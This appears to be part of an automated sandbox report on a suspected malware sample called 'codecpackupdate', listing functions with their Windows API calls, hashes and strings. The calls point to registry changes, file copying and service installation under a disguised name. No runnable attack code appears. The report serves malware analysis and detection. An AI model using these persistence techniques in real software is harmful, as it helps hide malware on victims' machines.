Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID: h5`
API String ID: 2057626494-1443291236
Opcode ID: 4c4ec3abad10afb3f5883e2b41922209f0fc22101904852709d3b5132570f021
Instruction ID: 0a95150e04a59658555c79dd88d1413615d8933c927d5f415567a3b7127da264
Opcode Fuzzy Hash: 4c4ec3abad10afb3f5883e2b41922209f0fc22101904852709d3b5132570f021
Instruction Fuzzy Hash: 32218EB19407059BDB08AFA6DE49A6E7BB9EF44304F10413EFA05BB2E1DB384550CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040417B Relevance: 4.5, APIs: 3, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00404166,?,00000000,00000000,00402FF9,00000000,00000000), ref: 0040418B
TerminateProcess.KERNEL32(00000000,?,00404166,?,00000000,00000000,00402FF9,00000000,00000000), ref: 00404192
ExitProcess.KERNEL32 ref: 0040420C

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c2260ba4ba3a7ce087c0bc5af1c4df8ffe5f30a9fab647541faefa4ff898e018
Instruction ID: 513b21a01c22477a45cfaa627a8dde47c11b7c557bbe69d9200b46c06abf8301
Opcode Fuzzy Hash: c2260ba4ba3a7ce087c0bc5af1c4df8ffe5f30a9fab647541faefa4ff898e018
Instruction Fuzzy Hash: 36012DB1644301DADA10AF64FD8CA0A77A4EBE0350B10457FF6417B2E0C739A8D1CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 0040223C Relevance: 4.5, APIs: 3, Instructions: 12
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 0040223C
CommandLineToArgvW.SHELL32(00000000), ref: 0040B040
GetLocalTime.KERNEL32(00409FB8), ref: 0040B942

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CommandLine$ArgvLocalTime
String ID:
API String ID: 3768950922-0
Opcode ID: f727ac15d8a02c0163e01fb7637a754121b5fc1ed335fb52cb76b17d48f4068b
Instruction ID: fe59c91cec6a1bbfec2f2a739a0674a99631b7336b4ea49b5c82aa235aaf9e13
Opcode Fuzzy Hash: f727ac15d8a02c0163e01fb7637a754121b5fc1ed335fb52cb76b17d48f4068b
Instruction Fuzzy Hash: F4D01273448012EBC2007BE19A0E99D37E5A64A3523224077F243F11E1CB3C44959B6F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32 ref: 0040BA6E

Strings

?NI, xrefs: 0040B33B

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CopyFile
String ID: ?NI
API String ID: 1304948518-117959909
Opcode ID: 1ba00870fd27b3cdf3e8498eb1257aa92a605fb7dfbe0c732b82863bd5f53ab8
Instruction ID: c2822da89412b159851219babc5dd957992176794b394267062855fcf32f5c0e
Opcode Fuzzy Hash: 1ba00870fd27b3cdf3e8498eb1257aa92a605fb7dfbe0c732b82863bd5f53ab8
Instruction Fuzzy Hash: 77D02B3138921246CD0265242E0EAF67309C7A3349B241977ED07FF2C0D1B9861762CD

Uniqueness

Uniqueness Score: -1.00%

Function 0040325A Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00402F81,00000000), ref: 0040326B

Part of subcall function 00403112: GetVersionExA.KERNEL32 ref: 00403131

HeapDestroy.KERNEL32 ref: 004032AA

Part of subcall function 004032B7: HeapAlloc.KERNEL32(00000000,00000140,00403293,000003F8), ref: 004032C4

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 401029335cdd060f4c3739ebb86f5453ce87962896cee6a98a7773047d595e2a
Instruction ID: bdc1dc1f8be9f1a85e4812a31df9c453441b6f572615afd11c7cbbe7009e603d
Opcode Fuzzy Hash: 401029335cdd060f4c3739ebb86f5453ce87962896cee6a98a7773047d595e2a
Instruction Fuzzy Hash: 08F0E5319043015AEF245F306E463263EA8DB50397F1184BFF401F82D1EB78C790950A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B40C Relevance: 3.0, APIs: 2, Instructions: 12
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNELBASE ref: 0040B4D1
RegCloseKey.KERNELBASE(?), ref: 0040B825

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 134ce427d92d70c0111e1806a8c5cfdfd9407f9f49210c1a287f1998412d3728
Instruction ID: a3e4645529f843f61550e48a598415364148f40a2ce15bb9cbadf78dc0097e25
Opcode Fuzzy Hash: 134ce427d92d70c0111e1806a8c5cfdfd9407f9f49210c1a287f1998412d3728
Instruction Fuzzy Hash: A4D0C931948106EAC7009FB08F0D5397EA9FA083417218577A603B00E0D7BD46126A9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B4FC Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE ref: 0040B4E0

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: fcd0fb28436346cebec9de2a814f493663ffb4acfc5454b8ba783580e8604382
Instruction ID: ebd2c6e02f9d43b3d40f01d17a74bd438e6d2ac48b0db6d6420a9778e4eaa713
Opcode Fuzzy Hash: fcd0fb28436346cebec9de2a814f493663ffb4acfc5454b8ba783580e8604382
Instruction Fuzzy Hash: 4BF0A26345C29CAFC321D5B83C448E23F74F5931507554EA7D151AF087D2198953C3CD

Uniqueness

Uniqueness Score: -1.00%

Function 004028FD Relevance: 1.5, APIs: 1, Instructions: 10
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002), ref: 0040B3C0

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8340735e36433d2e621e99962aac8dbece34f8ed7b0fbf864752116af6356328
Instruction ID: 909e799b75931c5b62772d4b2f3710706e3fc10ef07775b3481c305365d9140b
Opcode Fuzzy Hash: 8340735e36433d2e621e99962aac8dbece34f8ed7b0fbf864752116af6356328
Instruction Fuzzy Hash: 72C04C60608146EAE6089AB189096762768EB44740F3149378913F16D0D339DA1665AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3EA Relevance: 1.5, APIs: 1, Instructions: 10
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegSetValueExA.KERNELBASE(?), ref: 0040B9FE

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5317ccae25348d6653a0bc53609ee191fbdf3e00c6017a1cf178d5707409b4b6
Instruction ID: 4d13c9e98189893827979a362c4bd14f52071052fe37cb831e46076aa9f9f1e9
Opcode Fuzzy Hash: 5317ccae25348d6653a0bc53609ee191fbdf3e00c6017a1cf178d5707409b4b6
Instruction Fuzzy Hash: 9FC08CB1804409FACB061BD09C08A3C7E3AE708788F200462E10330CA0C33E0BB2BB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B397 Relevance: 1.5, APIs: 1, Instructions: 9
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32 ref: 0040BA6E

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 7d38dac9929fb4991dc41ff22106602b2e1087a9a39ff8f9de006141421cb0d1
Instruction ID: 4b668b5fb2a19e430f9510732bbbf35e32ddcc61e88bebebdf2395f5775374df
Opcode Fuzzy Hash: 7d38dac9929fb4991dc41ff22106602b2e1087a9a39ff8f9de006141421cb0d1
Instruction Fuzzy Hash: AAB012B4384214A6E5006A300F8DF37121DDB007C1F1400333507F60E0C6FCC981657E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B4DE Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE ref: 0040B4E0

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: c151bc14e0bb91fbb8e7eca4dafd0b7c5a4a5b715ebfa07865c3b19ad9e5cb26
Instruction ID: d70fb2d4326590eea8b65127b1b419e7c4e084d95afc867c60e11a96707e2c92
Opcode Fuzzy Hash: c151bc14e0bb91fbb8e7eca4dafd0b7c5a4a5b715ebfa07865c3b19ad9e5cb26
Instruction Fuzzy Hash: 64A0223008A020EAE00023000EA8C2B3C3CF8003C23208033B303B00C0833E080302BF

Uniqueness

Uniqueness Score: -1.00%

Function 004028DB Relevance: 1.5, APIs: 1, Instructions: 4
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.KERNELBASE ref: 004028DB

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 990c3c1dea4594085966e104cf6a03199e71a4503b704534c7eb79dcaa3d89bf
Instruction ID: 76804de5ad9cf923849592551e73c5d136ae12485515376d4ea460b458854c4b
Opcode Fuzzy Hash: 990c3c1dea4594085966e104cf6a03199e71a4503b704534c7eb79dcaa3d89bf
Instruction Fuzzy Hash: 5DA01230C04409C7C20497A0C30C4283AB459043043114072C113B00D0C37C5502550A

Uniqueness

Uniqueness Score: -1.00%

Function 004028A6 Relevance: 1.5, APIs: 1, Instructions: 3registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE ref: 004028A6

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c119085e98968012a478d05f9da36ab8ada70fc996d553aa7d263a9e4816e65c
Instruction ID: 94413375a01e53b797accf35fc7fe945d277f428ce3223a44cf6c20e190ec76b
Opcode Fuzzy Hash: c119085e98968012a478d05f9da36ab8ada70fc996d553aa7d263a9e4816e65c
Instruction Fuzzy Hash: 31900230344101EAE2104B315B0C21A2598550464571104355B0BE4190D6748511551D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B323 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 0040B323

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: dfaf3f851df420e3e7b0c4056ca2fcc5e50da974e7909aa90e6769422c755a01
Instruction ID: 893d3e26ed5c51661bf8be8d29d2bb54a563af28b692fefe241a45f5ad98b385
Opcode Fuzzy Hash: dfaf3f851df420e3e7b0c4056ca2fcc5e50da974e7909aa90e6769422c755a01
Instruction Fuzzy Hash: D29002201540019FC2504F105FAD01825D251403063710435E203F40E0D6744455A92E

Uniqueness

Uniqueness Score: -1.00%

Function 0040226E Relevance: 1.3, APIs: 1, Instructions: 38stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE ref: 0040B414

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: e02f8efbac426ba64e9b08b55a62167551dd3e5192ad7b41aa824c6377f46e98
Instruction ID: b9dd472658aa79e8713cc1c43643f3a09ee23d5b7ec078f99577b19effab2280
Opcode Fuzzy Hash: e02f8efbac426ba64e9b08b55a62167551dd3e5192ad7b41aa824c6377f46e98
Instruction Fuzzy Hash: 54F09A3260C2538EC74216656A082B67BA0AA51710B38847B9C87B51D2DBBC485376AF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00402572 Relevance: 1.5, APIs: 1, Instructions: 11serviceCOMMON

Download Yara Rule

APIs

CreateServiceA.ADVAPI32 ref: 0040B000

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: CreateService
String ID:
API String ID: 1592570254-0
Opcode ID: 20bb668e72a770e7973f593bb331a6a58a03ea000dbdcb0468e7c3fb687a14c6
Instruction ID: e828ca7ff849c5aa2293def9fffda87c5c0e13961c3d7613c3eafe11c79639c0
Opcode Fuzzy Hash: 20bb668e72a770e7973f593bb331a6a58a03ea000dbdcb0468e7c3fb687a14c6
Instruction Fuzzy Hash: C7C04C30888105EBCB644F40AD58D2B3A79D680315B714876E507B69D0D33D6D56BAFF

Uniqueness

Uniqueness Score: -1.00%

Function 004023B3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 75registrysynchronizationthreadCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32(WWAN_MobileFixup 2.33.197.66,Function_0000235E), ref: 004023C1
SetServiceStatus.ADVAPI32(0040A110), ref: 00402420
GetLastError.KERNEL32 ref: 00402422
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040242F
GetLastError.KERNEL32 ref: 00402450
SetServiceStatus.ADVAPI32(0040A110), ref: 00402480
CreateThread.KERNEL32(00000000,00000000,Function_000022CB,00000000,00000000,00000000), ref: 0040248C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00402495
CloseHandle.KERNEL32 ref: 004024A1
SetServiceStatus.ADVAPI32(0040A110), ref: 004024CA

Strings

WWAN_MobileFixup 2.33.197.66, xrefs: 004023BC

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Service$Status$CreateErrorLast$CloseCtrlEventHandleHandlerObjectRegisterSingleThreadWait
String ID: WWAN_MobileFixup 2.33.197.66
API String ID: 3346042915-2719033208
Opcode ID: 221372e02594791a34832dfa3998b7de0c824a95239fe2b27a61cd26514d68eb
Instruction ID: 16ab96e2cb68f3bca67a8d02827ccf702012fa4ba7b91bfe8048b6e668af4302
Opcode Fuzzy Hash: 221372e02594791a34832dfa3998b7de0c824a95239fe2b27a61cd26514d68eb
Instruction Fuzzy Hash: A621ECB0841310ABC2109F16EF4D9167EB8EBCA758F11413AE105BA2B2C7B94575CFAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405857 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,00404D1D,?,Microsoft Visual C++ Runtime Library,00012010,?,00406530,?,00406580,?,?,?,Runtime Error!Program: ), ref: 00405869
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00405881
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00405892
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0040589F

Strings

user32.dll, xrefs: 00405864
GetLastActivePopup, xrefs: 00405894
GetActiveWindow, xrefs: 0040588C
MessageBoxA, xrefs: 0040587B

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: a1fdb014e8dea29639177d20d343b616e560619fb48a784863710210177faac4
Instruction ID: 8e14f7a6750b1570260f033f2342e22bcd7c780a38ad1719db35514165c9b09a
Opcode Fuzzy Hash: a1fdb014e8dea29639177d20d343b616e560619fb48a784863710210177faac4
Instruction Fuzzy Hash: 9F015232600701AFDB11EFB5AD80A1B3BE8EB45740315043AB909F2591D678D8359F69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B1F Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004065FC,00000001,00000000,00000000,00000103,00000001,00000000,?,00404E93,00200020,00000000,?,00000000,00000000), ref: 00405B61
LCMapStringA.KERNEL32(00000000,00000100,004065F8,00000001,00000000,00000000,?,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405B7D
LCMapStringA.KERNEL32(00000000,?,00000000,00200020,00404E93,?,00000103,00000001,00000000,?,00404E93,00200020,00000000,?,00000000,00000000), ref: 00405BC6
MultiByteToWideChar.KERNEL32(00000000,00000002,00000000,00200020,00000000,00000000,00000103,00000001,00000000,?,00404E93,00200020,00000000,?,00000000,00000000), ref: 00405BFE
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,00404E93,00200020,00000000,?,00000000), ref: 00405C56
LCMapStringW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,00404E93,00200020,00000000,?,00000000), ref: 00405C6C
LCMapStringW.KERNEL32(00000000,?,00404E93,00000000,00404E93,?,?,00404E93,00200020,00000000,?,00000000), ref: 00405C9F
LCMapStringW.KERNEL32(00000000,?,?,?,?,00000000,?,00404E93,00200020,00000000,?,00000000), ref: 00405D07

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 585e295b11037126dfcd064dc94fe4f66704bff1de9b4c7a404ff84c747eed69
Instruction ID: 228655485731442308ac41690fb54a5bf4aece3cc6a962a44786cceaeb1d8e11
Opcode Fuzzy Hash: 585e295b11037126dfcd064dc94fe4f66704bff1de9b4c7a404ff84c747eed69
Instruction Fuzzy Hash: 94518931504609AFDF228F55CD45EAF7FB9EB48744F20412AF912B12A0D3398D21DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00404BF9 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 00404C66
GetStdHandle.KERNEL32(000000F4,00406530,00000000,?,00000000,00000000), ref: 00404D3C
WriteFile.KERNEL32(00000000), ref: 00404D43

Strings

Microsoft Visual C++ Runtime Library, xrefs: 00404D12
<program name unknown>, xrefs: 00404C76
Runtime Error!Program: , xrefs: 00404CCC
..., xrefs: 00404CB8

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: b6dd7ce0089c197cf693ca265a150b89f405fd2be0e3a5b5ca2c0cc9865f6c54
Instruction ID: f140c2e8ca9dd112070b7b1a63e93dd9695d020ae797257d07982e8dddccbb03
Opcode Fuzzy Hash: b6dd7ce0089c197cf693ca265a150b89f405fd2be0e3a5b5ca2c0cc9865f6c54
Instruction Fuzzy Hash: 5531E5B2A012186FEF20E760DE49FDA336CEF85304F1005BBF945B61D0D6B89E548A19

Uniqueness

Uniqueness Score: -1.00%

Function 00404710 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 0040472B
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 0040473F
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 0040476B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402FA6), ref: 004047A3
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402FA6), ref: 004047C5
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00402FA6), ref: 004047DE
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 004047F1
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0040482F

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 3561de5b01a372d6e215d3622bd3220d2b84138c13fabd42e705c73002b4d0d2
Instruction ID: 34ba4f5269201e1e594d4a21fe80140370f79d481ab45775fabf70a7e665ef6c
Opcode Fuzzy Hash: 3561de5b01a372d6e215d3622bd3220d2b84138c13fabd42e705c73002b4d0d2
Instruction Fuzzy Hash: E631C2F75042656FD7207FB99D8483BB69CE6C6358716093BFB42F3280D7798C4182AA

Uniqueness

Uniqueness Score: -1.00%

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
GetLastError.KERNEL32 ref: 00401F86
SizeofResource.KERNEL32(00000000), ref: 00401F93
LoadResource.KERNEL32(00000000), ref: 00401FAD
LockResource.KERNEL32(00000000), ref: 00401FB4
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00401FBF
GetTickCount.KERNEL32 ref: 00401FFB
GlobalAlloc.KERNEL32(00000040,?), ref: 00402061

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
String ID:
API String ID: 564119183-0
Opcode ID: d2a57f7cc8f0d0fe454428983335f0199e5147479bb7e2a898d268b80a50adbf
Instruction ID: cd0a89f7906a11fa59f7c630caffefac6273cd55dd9fd3e2fc017d6917677aa9
Opcode Fuzzy Hash: d2a57f7cc8f0d0fe454428983335f0199e5147479bb7e2a898d268b80a50adbf
Instruction Fuzzy Hash: DB312971A40251AFDB109FB99E489AF7B78EF49344B10807AFA46F7281D6748941C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405D6E Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004065FC,00000001,00000000,00000103,00000001,00000000,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405DAD
GetStringTypeA.KERNEL32(00000000,00000001,004065F8,00000001,?,?,00000000,00000000,00000001), ref: 00405DC7
GetStringTypeA.KERNEL32(00000000,00000000,?,00000000,00200020,00000103,00000001,00000000,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405DFB
MultiByteToWideChar.KERNEL32(00404E93,00000002,?,00000000,00000000,00000000,00000103,00000001,00000000,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405E33
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405E89
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405E9B

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 299ca15397ebee838ff06567ddbc0ab6f29b8118cf23d418261883c500b25a22
Instruction ID: 80e02ee10c910d5558e83bb499fc0990029bfad3b9a08e1f349c60d3d592f295
